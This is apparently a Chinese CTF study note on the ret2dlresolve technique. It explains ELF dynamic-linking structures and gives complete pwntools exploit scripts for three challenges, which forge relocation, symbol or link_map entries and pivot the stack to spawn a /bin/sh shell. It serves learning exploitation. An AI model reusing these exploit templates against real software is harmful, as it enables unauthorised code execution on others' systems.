re2dlresolve
1原理
https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve/ wiki
https://blog.csdn.net/qq_51868336/article/details/114644569 这个放了源码 还有x64PartialRELRO的
Partial RELRO的需要伪造 reloc_arg ,r_info , st_name , str
NO RELRO的利用
算了 还是自己记录下吧 虽然佬们讲得都很好 但是还是梳理一下更清楚
最基本的需要知道延迟绑定技术
然后ret2dlresolve主要关注的就是第一次调用时的解析真实地址的过程大概是这样一个过程
- step3那 push 0是该函数在rel.plt上的偏移,reloc_arg;然后jmp到plt[0]的位置
- step3 step4相当于执行了
_dl_runtime_resolve(link_map,reloc_arg)
elf中的.dynamic节:包含一些关于动态链接的关键信息,这里需要用到的就三个
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37LOAD:08049F0C ; ELF Dynamic Information
LOAD:08049F0C ; ===========================================================================
LOAD:08049F0C
LOAD:08049F0C ; Segment type: Pure data
LOAD:08049F0C ; Segment permissions: Read/Write
LOAD:08049F0C LOAD segment mempage public 'DATA' use32
LOAD:08049F0C assume cs:LOAD
LOAD:08049F0C ;org 8049F0Ch
LOAD:08049F0C 01 00 00 00 01 00 00 00 _DYNAMIC Elf32_Dyn <1, <1>> ; DATA XREF: LOAD:080480BC↑o
LOAD:08049F0C ; .got.plt:_GLOBAL_OFFSET_TABLE_↓o
LOAD:08049F0C ; DT_NEEDED libc.so.6
LOAD:08049F14 0C 00 00 00 4C 83 04 08 Elf32_Dyn <0Ch, <804834Ch>> ; DT_INIT
LOAD:08049F1C 0D 00 00 00 34 86 04 08 Elf32_Dyn <0Dh, <8048634h>> ; DT_FINI
LOAD:08049F24 19 00 00 00 04 9F 04 08 Elf32_Dyn <19h, <8049F04h>> ; DT_INIT_ARRAY
LOAD:08049F2C 1B 00 00 00 04 00 00 00 Elf32_Dyn <1Bh, <4>> ; DT_INIT_ARRAYSZ
LOAD:08049F34 1A 00 00 00 08 9F 04 08 Elf32_Dyn <1Ah, <8049F08h>> ; DT_FINI_ARRAY
LOAD:08049F3C 1C 00 00 00 04 00 00 00 Elf32_Dyn <1Ch, <4>> ; DT_FINI_ARRAYSZ
LOAD:08049F44 F5 FE FF 6F AC 81 04 08 Elf32_Dyn <6FFFFEF5h, <80481ACh>> ; DT_GNU_HASH
# 指向.dynstr节的指针
LOAD:08049F4C 05 00 00 00 6C 82 04 08 Elf32_Dyn <5, <804826Ch>> ; DT_STRTAB
# 指向.dynsym节的指针
LOAD:08049F54 06 00 00 00 CC 81 04 08 Elf32_Dyn <6, <80481CCh>> ; DT_SYMTAB
LOAD:08049F5C 0A 00 00 00 6B 00 00 00 Elf32_Dyn <0Ah, <6Bh>> ; DT_STRSZ
LOAD:08049F64 0B 00 00 00 10 00 00 00 Elf32_Dyn <0Bh, <10h>> ; DT_SYMENT
LOAD:08049F6C 15 00 00 00 00 00 00 00 Elf32_Dyn <15h, <0>> ; DT_DEBUG
LOAD:08049F74 03 00 00 00 00 A0 04 08 Elf32_Dyn <3, <804A000h>> ; DT_PLTGOT
LOAD:08049F7C 02 00 00 00 28 00 00 00 Elf32_Dyn <2, <28h>> ; DT_PLTRELSZ
LOAD:08049F84 14 00 00 00 11 00 00 00 Elf32_Dyn <14h, <11h>> ; DT_PLTREL
# 指向.rel.plt的指针
LOAD:08049F8C 17 00 00 00 24 83 04 08 Elf32_Dyn <17h, <8048324h>> ; DT_JMPREL
LOAD:08049F94 11 00 00 00 0C 83 04 08 Elf32_Dyn <11h, <804830Ch>> ; DT_REL
LOAD:08049F9C 12 00 00 00 18 00 00 00 Elf32_Dyn <12h, <18h>> ; DT_RELSZ
LOAD:08049FA4 13 00 00 00 08 00 00 00 Elf32_Dyn <13h, <8>> ; DT_RELENT
LOAD:08049FAC FE FF FF 6F EC 82 04 08 Elf32_Dyn <6FFFFFFEh, <80482ECh>> ; DT_VERNEED
LOAD:08049FB4 FF FF FF 6F 01 00 00 00 Elf32_Dyn <6FFFFFFFh, <1>> ; DT_VERNEEDNUM
LOAD:08049FBC F0 FF FF 6F D8 82 04 08 Elf32_Dyn <6FFFFFF0h, <80482D8h>> ; DT_VERSYM
LOAD:08049FC4 00 00 00 00 00 00 00 00 Elf32_Dyn <0> ; DT_NULL.dynstr节:字符串表
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15LOAD:0804826C ; ELF String Table
LOAD:0804826C 00 byte_804826C db 0 ; DATA XREF: LOAD:080481DC↑o
LOAD:0804826C ; LOAD:0804825C↑o
LOAD:0804826C ; LOAD:080482FC↓o
LOAD:0804826D 6C 69 62 63 2E 73 6F 2E 36 00 aLibcSo6 db 'libc.so.6',0 <--以0结尾 ; DATA XREF: LOAD:080482EC↓o
LOAD:08048277 5F 49 4F 5F 73 74 64 69 6E 5F+aIoStdinUsed db '_IO_stdin_used',0 ; DATA XREF: LOAD:0804825C↑o
LOAD:08048286 73 74 64 69 6E 00 aStdin db 'stdin',0 ; DATA XREF: LOAD:0804823C↑o
LOAD:0804828C 73 74 72 6C 65 6E 00 aStrlen db 'strlen',0 ; DATA XREF: LOAD:0804820C↑o
LOAD:08048293 72 65 61 64 00 aRead db 'read',0 ; DATA XREF: LOAD:080481EC↑o
LOAD:08048298 73 74 64 6F 75 74 00 aStdout db 'stdout',0 ; DATA XREF: LOAD:0804824C↑o
LOAD:0804829F 73 65 74 62 75 66 00 aSetbuf db 'setbuf',0 ; DATA XREF: LOAD:080481DC↑o
LOAD:080482A6 5F 5F 6C 69 62 63 5F 73 74 61+aLibcStartMain db '__libc_start_main',0 ; DATA XREF: LOAD:0804821C↑o
LOAD:080482B8 77 72 69 74 65 00 aWrite db 'write',0 ; DATA XREF: LOAD:0804822C↑o
LOAD:080482BE 47 4C 49 42 43 5F 32 2E 30 00 aGlibc20 db 'GLIBC_2.0',0 ; DATA XREF: LOAD:080482FC↓o
LOAD:080482C8 5F 5F 67 6D 6F 6E 5F 73 74 61+aGmonStart db '__gmon_start__',0 ; DATA XREF: LOAD:080481FC↑o.dynsym节:符号表(结构体数组),里面记录了各种符号的信息 这里我把setbuf符号展开了 具体结构看下面的结构体
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17LOAD:080481CC ; ELF Symbol Table
LOAD:080481CC 00 00 00 00 00 00 00 00 00 00+Elf32_Sym <0>
LOAD:080481DC 33 00 00 00 00 00 00 00 00 00+dd offset aSetbuf - offset byte_804826C ; st_name ; "setbuf"
LOAD:080481DC 00 00 12 00 00 00 dd 0 ; st_value
LOAD:080481DC dd 0 ; st_size
LOAD:080481DC db 12h ; st_info
LOAD:080481DC db 0 ; st_other
LOAD:080481DC dw 0 ; st_shndx
LOAD:080481EC 27 00 00 00 00 00 00 00 00 00+Elf32_Sym <offset aRead - offset byte_804826C, 0, 0, 12h, 0, 0> ; "read"
LOAD:080481FC 5C 00 00 00 00 00 00 00 00 00+Elf32_Sym <offset aGmonStart - offset byte_804826C, 0, 0, 20h, 0, 0> ; "__gmon_start__"
LOAD:0804820C 20 00 00 00 00 00 00 00 00 00+Elf32_Sym <offset aStrlen - offset byte_804826C, 0, 0, 12h, 0, 0> ; "strlen"
LOAD:0804821C 3A 00 00 00 00 00 00 00 00 00+Elf32_Sym <offset aLibcStartMain - offset byte_804826C, 0, 0, 12h, 0, 0> ; "__libc_start_main"
LOAD:0804822C 4C 00 00 00 00 00 00 00 00 00+Elf32_Sym <offset aWrite - offset byte_804826C, 0, 0, 12h, 0, 0> ; "write"
LOAD:0804823C 1A 00 00 00 00 00 00 00 00 00+Elf32_Sym <offset aStdin - offset byte_804826C, 0, 0, 11h, 0, 0> ; "stdin"
LOAD:0804824C 2C 00 00 00 00 00 00 00 00 00+Elf32_Sym <offset aStdout - offset byte_804826C, 0, 0, 11h, 0, 0> ; "stdout"
LOAD:0804825C 0B 00 00 00 4C 86 04 08 04 00+Elf32_Sym <offset aIoStdinUsed - offset byte_804826C, offset _IO_stdin_used, 4, 11h, 0, 10h> ; "_IO_stdin_used"
LOAD:0804826C ; ELF String Table1
2
3
4
5
6
7
8
9typedef struct
{
Elf32_Word st_name; //符号名,是相对.dynstr起始的偏移,这种引用字符串的方式在前面说过了
Elf32_Addr st_value;
Elf32_Word st_size;
unsigned char st_info; //对于导入函数符号而言,它是0x12
unsigned char st_other;
Elf32_Section st_shndx;
}Elf32_Sym; //对于导入函数符号而言,其他字段都是0.rel.plt节:重定位表
1
2
3
4
5
6LOAD:08048324 0C A0 04 08 07 01 00 00 dd 804A00Ch ; r_offset ; R_386_JMP_SLOT setbuf
LOAD:08048324 dd 107h ; r_info
LOAD:0804832C 10 A0 04 08 07 02 00 00 Elf32_Rel <804A010h, 207h> ; R_386_JMP_SLOT read
LOAD:08048334 14 A0 04 08 07 04 00 00 Elf32_Rel <804A014h, 407h> ; R_386_JMP_SLOT strlen
LOAD:0804833C 18 A0 04 08 07 05 00 00 Elf32_Rel <804A018h, 507h> ; R_386_JMP_SLOT __libc_start_main
LOAD:08048344 1C A0 04 08 07 06 00 00 Elf32_Rel <804A01Ch, 607h> ; R_386_JMP_SLOT write1
2
3
4
5
6
7
8typedef struct
{
Elf32_Addr r_offset; //指向GOT表的指针
Elf32_Word r_info;
//一些关于导入符号的信息,我们只关心从第二个字节开始的值((val)>>8),忽略那个07
//1和3是这个导入函数的符号在.dynsym中的下标,
//如果往回看的话你会发现1和3刚好和.dynsym的puts和__libc_start_main对应
} Elf32_Rel;
上面说到
_dl_runtime_resolve(link_map,reloc_arg)
的link_map包含了.dynamic的指针,通过link_map可以访问到.dynamic节;reloc_arg是当前要调用的导入函数在.rel.plt
中的偏移(不过64位的话就直接是index下标)dl_runtime_resolve会
- 用
link_map
访问.dynamic
,取出.dynstr
,.dynsym
,.rel.plt
的指针 .rel.plt + 第二个参数
求出当前函数的重定位表项Elf32_Rel
的指针,记作rel
rel->r_info >> 8
作为.dynsym
的下标,求出当前函数的符号表项Elf32_Sym
的指针,记作sym
.dynstr + sym->st_name
得出符号名字符串指针- 在动态链接库查找这个函数的地址,并且把地址赋值给
*rel->r_offset
,即GOT表 - 调用这个函数
- 用
2 利用原因
- 没有输出函数的时候就没法泄露地址 这个时候就可用dl_resolve
3 利用方法
3.1NORELRO:dynaic节可修改
因为
ret2dl-resolve
会从.dynamic
里面拿.dynstr
字符串表的指针,然后加上offset取得函数名并且在动态链接库中搜索这个函数名,然后调用。而假如说我们能够篡改这个指针到一块我们能够操纵的内存空间,当resolve的时候,就能resolve成我们所指定的任意库函数。
也就是伪造Elf32_Rel和Elf32_Sym就可
64位NORELRO 堆 –rctf2018_rnote4
没有任何输出函数 运行有点难受的 正因为没有输出 用dl_resolve将free改成system
#coding:utf8 from pwn import * # sh = process('./RNote4') sh = remote("node4.buuoj.cn", 29228) elf = ELF('./RNote4') free_got = elf.got['free'] free_plt = 0x0000000000400626 #在NO relro的情况下伪造dynstr即可解析任意函数 fake_dynstr_addr = 0x00000000006020D0 + 0x100 fake_dynstr = '\x00'*0x5F + 'system\x00' # 0x5F=0x457-0x3f8 free改为system fake_dynstr = fake_dynstr.ljust(0x73,'\x00') # 0x73=0x46b-0x3f8 fake_dynstr += 'GLIBC_2.4\x00GLIBC_2.2.5\x00' # 也可以不写 反正一样 dt_strtab = 0x0000000000601EB0 def add(size,content): sh.send(p8(1)) sh.send(p8(size)) sh.send(content) def edit(index,size,content): sh.send(p8(2)) sh.send(p8(index)) sh.send(p8(size)) sh.send(content) def delete(index): sh.send(p8(3)) sh.send(p8(index)) add(0x20,'a'*0x20) #0 add(0x80,'b'*0x80) #1 add(0x20,'/bin/sh\x00/bin/sh\x00'.ljust(0x20,'\x00')) #2 payload = b'a'*0x20 + p64(0) + p64(0x21) + p64(0x80) + p64(fake_dynstr_addr) edit(0,0x40,payload) #伪造dynstr edit(1,len(fake_dynstr),fake_dynstr) payload = b'a'*0x20 + p64(0) + p64(0x21) + p64(0x80) + p64(dt_strtab) edit(0,0x40,payload) #修改dynstr指针 即.dynamic的字符串表指针 edit(1,0x8,p64(fake_dynstr_addr)) # 这里应该是将free_got中存的改成plt表 也就是不只是第一次调用 每次调用都会触发解析 dlresolve都会执行 # 这个exp中因为是第一次调用 所以不写这些也能成功getshell payload = b'a'*0x20 + p64(0) + p64(0x21) + p64(0x80) + p64(free_got) edit(0,0x40,payload) #修改dynstr指针 edit(1,0x8,p64(free_plt)) #getshell delete(2) sh.interactive()
* 但是打本地不出flag 换成Ubuntu18.04的就可以啦 好好好 又是libc版本的问题 但我看了换的版本是对的啊 mad 没换版本就能通 嗷是在本地找不到对应2.27的libc是吗可能1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
```asm
LOAD:00000000004003F8 ; ELF String Table
LOAD:00000000004003F8 00 byte_4003F8 db 0 ; DATA XREF: LOAD:00000000004002D8↑o
LOAD:00000000004003F8 ; LOAD:00000000004004A0↓o
LOAD:00000000004003F8 ;
LOAD:00000000004003F9 6C 69 62 63 2E 73 6F 2E 36 00 aLibcSo6 db 'libc.so.6',0 ; DATA XREF: LOAD:00000000004004A0↓o
LOAD:0000000000400403 65 78 69 74 00 aExit db 'exit',0 ; DATA XREF: LOAD:00000000004003C8↑o
LOAD:0000000000400408 5F 5F 73 74 61 63 6B 5F 63 68+aStackChkFail db '__stack_chk_fail',0 ; DATA XREF: LOAD:00000000004002F0↑o
LOAD:0000000000400419 73 74 64 69 6E 00 aStdin db 'stdin',0 ; DATA XREF: LOAD:00000000004003E0↑o
LOAD:000000000040041F 63 61 6C 6C 6F 63 00 aCalloc db 'calloc',0 ; DATA XREF: LOAD:0000000000400368↑o
LOAD:0000000000400426 6D 65 6D 73 65 74 00 aMemset db 'memset',0 ; DATA XREF: LOAD:0000000000400308↑o
LOAD:000000000040042D 72 65 61 64 00 aRead db 'read',0 ; DATA XREF: LOAD:0000000000400338↑o
LOAD:0000000000400432 61 6C 61 72 6D 00 aAlarm db 'alarm',0 ; DATA XREF: LOAD:0000000000400320↑o
LOAD:0000000000400438 61 74 6F 69 00 aAtoi db 'atoi',0 ; DATA XREF: LOAD:00000000004003B0↑o
LOAD:000000000040043D 73 65 74 76 62 75 66 00 aSetvbuf db 'setvbuf',0 ; DATA XREF: LOAD:0000000000400398↑o
LOAD:0000000000400445 5F 5F 6C 69 62 63 5F 73 74 61+aLibcStartMain db '__libc_start_main',0 ; DATA XREF: LOAD:0000000000400350↑o
LOAD:0000000000400457 66 72 65 65 00 aFree db 'free',0 ; DATA XREF: LOAD:00000000004002D8↑o
LOAD:000000000040045C 5F 5F 67 6D 6F 6E 5F 73 74 61+aGmonStart db '__gmon_start__',0 ; DATA XREF: LOAD:0000000000400380↑o
LOAD:000000000040046B 47 4C 49 42 43 5F 32 2E 34 00 aGlibc24 db 'GLIBC_2.4',0 ; DATA XREF: LOAD:00000000004004B0↓o
LOAD:0000000000400475 47 4C 49 42 43 5F 32 2E 32 2E+aGlibc225 db 'GLIBC_2.2.5',0 ; DATA XREF: LOAD:00000000004004C0↓o
LOAD:0000000000400481 00 align 2相当于是只修改了第4步的.dynstr 其他都是free函数的
- 用
link_map
访问.dynamic
,取出.dynstr
,.dynsym
,.rel.plt
的指针 .rel.plt + 第二个参数
求出当前函数的重定位表项Elf32_Rel
的指针,记作rel
rel->r_info >> 8
作为.dynsym
的下标,求出当前函数的符号表项Elf32_Sym
的指针,记作sym
.dynstr + sym->st_name
得出符号名字符串指针- 在动态链接库查找这个函数的地址,并且把地址赋值给
*rel->r_offset
,即GOT表 - 调用这个函数
- 用
然后还有个注意的点是输入op size的时候都是1字节 所以发的形式
3.2 构造link_map
_dl_runtime_resolve
在第二步时.rel.plt + 第二个参数
求出当前函数的重定位表项Elf32_Rel
的指针,记作rel
这个时候,
_dl_runtime_resolve
并没有检查.rel.plt + 第二个参数
后是否造成越界访问,所以我们能给一个很大的.rel.plt
的offset(64位的话就是下标),然后使得加上去之后的地址指向我们所能操纵的一块内存空间,比方说.bss
。然后第三步
rel->r_info >> 8
作为.dynsym
的下标,求出当前函数的符号表项Elf32_Sym
的指针,记作sym
所以在我们所伪造的
Elf32_Rel
,需要放一个r_info
字段,大概长这样就行0xXXXXXX07
,其中XXXXXX是相对.dynsym
表的下标,注意不是偏移,所以是偏移除以Elf32_Sym
的大小,即除以0x10
(32位下)。然后这里同样也没有进行越界访问的检查,所以可以用类似的方法,伪造出这个Elf32_Sym
。至于为什么是07,因为这是一个导入函数,而导入函数一般都是07,所以写成07就好。然后第四步
.dynstr + sym->st_name
得出符号名字符串指针 同样类似,没有进行越界访问检查,所以这个字符串也能够伪造。构造ROP,跳转到resolve的PLT,
push link_map
的位置,就是上图所示的这个地方。此时,栈中必须要有已经伪造好的指向伪造的Elf32_Rel
的偏移,然后是返回地址(system
的话无所谓),再然后是参数(如果是system
函数的话就要是指向"/bin/sh\x00"
的指针)
32位PartialRELRO–xdctf2015_pwn200
这题也可以用ret2libc
发现师傅们用的pwntools的rop模块 也支持x64
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78from pwn import *
context.log_level = 'debug'
elf = ELF('bof')
sh = process('./bof')
rop = ROP('./bof')
offset = 112
bss_addr = elf.bss() #获取bss段首地址
sh.recvuntil('Welcome to XDCTF2015~!\n')
## 将栈迁移到bss段
## 新栈空间大小为0x800
stack_size = 0x800
base_stage = bss_addr + stack_size
### 填充缓冲区
rop.raw('a' * offset)
### 向新栈中写100个字节
##rop.read会自动完成read函数、函数参数、返回地址的栈部署
rop.read(0, base_stage, 100)
### 栈迁移, 设置esp = base_stage
##rop.migrate会利用leave_ret自动部署迁移工作
rop.migrate(base_stage)
sh.sendline(rop.chain())
gdb.attach(sh)
pause()
# 打印字符串"/bin/sh"
rop = ROP('./bof')
BIN = "/bin/sh\x00"##众所周知一般的函数遇到 \0 才会结束读取,所以为了防止system('/bin/shaaaaaaaa....aaaaa')的情况,我们要加上\0
## 获取plt0地址
plt0 = elf.get_section_by_name('.plt').header.sh_addr
## 获取.rel.plt地址
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
## 获得.dynsym地址
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
## 获得.dynstr地址
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
align = 0x10-(base_stage+32-dynsym)%16
print(align) # 4
fake_sym_addr = align + base_stage + 32
st_name = fake_sym_addr +16 - dynstr # 伪造的地址相对于dynstr的偏移
st_value=0
st_size=0
st_info=0x12
fake_reloc_arg = base_stage + 24 - rel_plt
r_offset = elf.got['write']
index_write = (fake_sym_addr - dynsym)/16 ##注意这里要用地板除,float不能左移
print(index_write)
r_info = (int(index_write)<<8)+0x7##利用构造的dyndym地址反推r_info
print(r_info)
print(st_name)
rop.raw(plt0) # 执行plt0就是执行dl_resolve
# 可以通过plt的地址加上目标函数的offset来调用函数,以如下方式调用write函数
rop.raw(fake_reloc_arg) # 偏移
rop.raw('bbbb') #write函数返回地址
rop.raw(base_stage + 59) # /bin/sh\x00
rop.raw('aaaa')##事实上因为system只需要一个参数,另外两个都不用写,但为了不破坏原有的布局就填上垃圾数据即可
rop.raw('aaaa')
rop.raw(r_offset) ##构造的ELF_REL 伪造write为system
rop.raw(r_info) # 形式应为[在.dynsym中的indx或者说偏移]07
rop.raw('a'*align) # .dynsym 每一项的大小都是0x10 伪造.dynsym表项时,需要与.dynsym的起始位置对齐
rop.raw(st_name) ##构造的.dynsym
rop.raw(st_value) # 0
rop.raw(st_size) # 0
rop.raw(st_info) # 0x12
rop.raw('system\x00')##伪造的.dynstr
print("len:rop.chain():")
print(len(rop.chain()))#长度为58,所以可以在base_stage + 59写上/bin/sh
rop.raw(BIN)
rop.raw('a' * (100 - len(rop.chain())))
sh.sendline(rop.chain())
sh.interactive()rop.raw(plt0) # 执行plt0就是执行dl_resolve rop.raw(fake_reloc_arg) # 偏移 rop.raw('bbbb') #write函数返回地址 rop.raw(base_stage + 59) # /bin/sh\x00 rop.raw('aaaa')##事实上因为system只需要一个参数,另外两个都不用写,但为了不破坏原有的布局就填上垃圾数据即可 rop.raw('aaaa')
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
这里是通过plt的地址加上目标函数的offset来调用write函数 比如我们平常写的rop为`p32(write_plt) + b'bbbb' + p32(1) + p32(addr) + p32(size)` 这里也类似 只是write_plt用plt[0]和偏移来表示
* 这里的执行过程就是
> 1. 调用write伪造的system函数-->因为是第一次调用会触发_dl_resolve
> 2. 用`link_map`访问`.dynamic`,取出`.dynstr`, `.dynsym`, `.rel.plt`的指针,`.rel.plt + fake_reloc_arg`求出当前函数的重定位表项`Elf32_REL`的指针
> 3. 根据`Elf32_REL`->r_info 求出当前函数的符号表项`Elf32_Sym`的指针,记作`sym`
> 4. `.dynstr + sym->st_name`得出符号名字符串指针
> 5. 在动态链接库查找这个函数的地址,并且把地址赋值给`*rel->r_offset`,即GOT表
> 6. 调用这个函数
* ```shell
02:0008│ ecx 0x804a828 —▸ 0xf7f0ca40 ◂— 0x0
03:000c│ 0x804a82c ◂— 0x251c
04:0010│ 0x804a830 ◂— 0x62626262 ('bbbb')
05:0014│ 0x804a834 —▸ 0x804a863 ◂— '/bin/sh'
06:0018│ 0x804a838 ◂— 0x61616161 ('aaaa')
07:001c│ 0x804a83c ◂— 0x61616161 ('aaaa')
08:0020│ 0x804a840 —▸ 0x804a01c (write@got[plt]) —▸ 0xf7c48170 (system) ◂— endbr32
09:0024│ 0x804a844 ◂— 0x26807
0a:0028│ 0x804a848 ◂— 0x61616161 ('aaaa')
0b:002c│ 0x804a84c ◂— 0x25f0
0c:0030│ 0x804a850 ◂— 0x0
0d:0034│ 0x804a854 ◂— 0x0
0e:0038│ 0x804a858 ◂— 0x12
0f:003c│ 0x804a85c ◂— 'system'
10:0040│ 0x804a860 ◂— 0x2f006d65 /* 'em' */
11:0044│ 0x804a864 ◂— 'bin/sh'
12:0048│ 0x804a868 ◂— 0x61006873 /* 'sh' */
13:004c│ 0x804a86c ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
... ↓ 7 skipped为啥要迁移:当然是溢出的不够多啊 然后这里的迁移其实还挺不一样的 用了pop_ebp_ret leave_ret两个gadget 但是应该只考栈迁移的并不需要这么构造 到高版本的libc也没有这么多gadget
from pwn import * io = process("./bof") context.arch = 'i386' elf = ELF("./bof") pop_esi_edi_ebp_ret = 0x08048629 leave_ret = 0x08048445 pop_ebp_ret = 0x0804862b stack_size = 0x800 bss_addr = elf.bss() #获取bss段首地址 base_stage = bss_addr + stack_size read_plt = elf.plt['read'] io.recv() payload = b'a'*112 payload += p32(read_plt) payload += p32(pop_esi_edi_ebp_ret) + p32(0) + p32(base_stage) + p32(0x500) payload += p32(pop_ebp_ret) + p32(base_stage-4) + p32(leave_ret) io.sendline(payload) plt0 = 0x8048370 rel_plt = 0x8048324 dynsym = 0x80481cc dynstr = 0x804826c align = 0x10-(base_stage+32-dynsym)%16 fake_relloc = base_stage + 24 - rel_plt fake_sym_addr = base_stage + align + 32 r_offset = elf.got['write'] index_write = (fake_sym_addr - dynsym)/16 r_info = (int(index_write)<<8)+0x7 gdb.attach(io) pause() st_name = fake_sym_addr + 16 - dynstr st_value = 0 st_size = 0 st_info = 0x12 payload2 = p32(plt0) + p32(fake_relloc) payload2 += b'aaaa' + p32(base_stage+59) + b'aaaa' + b'aaaa' payload2 += p32(r_offset) + p32(r_info) payload2 += b'a'*align + p32(st_name) + p32(st_value) + p32(st_size) + p32(st_info) payload2 += b'system\0' + b'/bin/sh\x00' io.sendline(payload2) io.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
* 但stack_size得是0x800-990之间大概 可能太小和太大了导致迁移的位置有点问题(猜的
###### 64位PatialRELRO--geek_challenge2023-why_n0t_puts
* >vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff的过程中,由于我们一般伪造的symtab位于bss段,就导致在64位下`reloc->r_info`比较大,故程序会发生错误
>
>需要控制 **link_map** 中的**l_addr**和 **sym**中的**st_value**
* ```python
from pwn import *
context.arch='amd64'
context.log_level = 'debug'
io=process("./why_n0t_puts")
elf=ELF("./why_n0t_puts")
# libc=elf.libc
libc = ELF("./libc.so.6")
def create_link_map(l_addr,know_got,link_map_addr):
link_map=p64(l_addr & (2 ** 64 - 1)) # offset是负的 所以作了处理
# DT_JMPREL
link_map+=p64(0)
link_map+=p64(link_map_addr+0x18)
#ptr2relplt
link_map+=p64((know_got - l_addr)&(2**64-1)) #r_offset 因为是负数所以用了-?
link_map+=p64(0x7) # r_info 只会检查最低位
link_map+=p64(0) # r_addend
#dyn_symtab
link_map+=p64(0) #
link_map+=p64(know_got-0x8) # sym表首地址
link_map+=b'/bin/sh\x00'
link_map=link_map.ljust(0x68,b'B')
link_map+=p64(link_map_addr) # 字符串表指针的指针,随便写个地址就行,反正用不到
link_map+=p64(link_map_addr+0x30) # DT_SYMTAB在 DYNAMIC中对应的结构的地址
link_map=link_map.ljust(0xf8,b'C')
link_map+=p64(link_map_addr+0x8) # relplt_addr
return link_map
rdi=0x4011d3
rsi_r15=0x4011d1
fake_link_map_addr = elf.bss() + 0x200
# fake_link_map_addr=0x404800
data=0x404500
sh=fake_link_map_addr+0x40
call = 0x401026 # 调用dlresolve
offset=libc.symbols['system']-libc.symbols['read']
fake_link_map=create_link_map(offset,elf.got['read'],fake_link_map_addr)
print(len(fake_link_map))
payload = b'a'*0x38
payload += p64(rdi)+p64(0)
payload += p64(rsi_r15)+p64(fake_link_map_addr)+p64(0)
payload += p64(rsi_r15)+p64(fake_link_map_addr)+p64(0) # 栈16字节对齐,不然调用不了system
payload += p64(elf.plt['read'])
payload += p64(rdi)+p64(sh)
payload += p64(call)+p64(fake_link_map_addr)+p64(0) # 调用dlresolve 传入link_map和索引
io.send(payload)
# gdb.attach(io)
# pause()
io.send(fake_link_map)
io.interactive()
pwndbg> tele 0x404230 00:0000│ rsi 0x404230 ◂— 0xfffffffffff442d0 01:0008│ 0x404238 ◂— 0x0 02:0010│ 0x404240 —▸ 0x404248 ◂— 0x4bfd48 03:0018│ 0x404248 ◂— 0x4bfd48 04:0020│ 0x404250 ◂— 0x7 05:0028│ 0x404258 ◂— 0x0 06:0030│ 0x404260 ◂— 0x0 07:0038│ 0x404268 —▸ 0x404010 (_GLOBAL_OFFSET_TABLE_+16) —▸ 0x7fdc33f7fd30 (_dl_runtime_resolve_xsavec) ◂— endbr64 pwndbg> tele 0x404230 40 00:0000│ rsi 0x404230 ◂— 0xfffffffffff442d0 01:0008│ 0x404238 ◂— 0x0 02:0010│ 0x404240 —▸ 0x404248 ◂— 0x4bfd48 03:0018│ 0x404248 ◂— 0x4bfd48 04:0020│ 0x404250 ◂— 0x7 05:0028│ 0x404258 ◂— 0x0 06:0030│ 0x404260 ◂— 0x0 07:0038│ 0x404268 —▸ 0x404010 (_GLOBAL_OFFSET_TABLE_+16) —▸ 0x7fdc33f7fd30 (_dl_runtime_resolve_xsavec) ◂— endbr64 08:0040│ 0x404270 ◂— 0x68732f6e69622f /* '/bin/sh' */ 09:0048│ 0x404278 ◂— 'BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB0B@' ... ↓ 3 skipped 0d:0068│ 0x404298 —▸ 0x404230 ◂— 0xfffffffffff442d0 0e:0070│ 0x4042a0 —▸ 0x404260 ◂— 0x0 0f:0078│ 0x4042a8 ◂— 'CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC8B@' ... ↓ 15 skipped 1f:00f8│ 0x404328 —▸ 0x404238 ◂— 0x0
- 貌似可以当个板子用
- 为啥是0x68没懂
- 不懂的再看看这:https://blog.csdn.net/qq_51868336/article/details/114644569 和wiki
3.3 FULLRELRO
- wiki上还有FULLRELRO的呢 先鸽了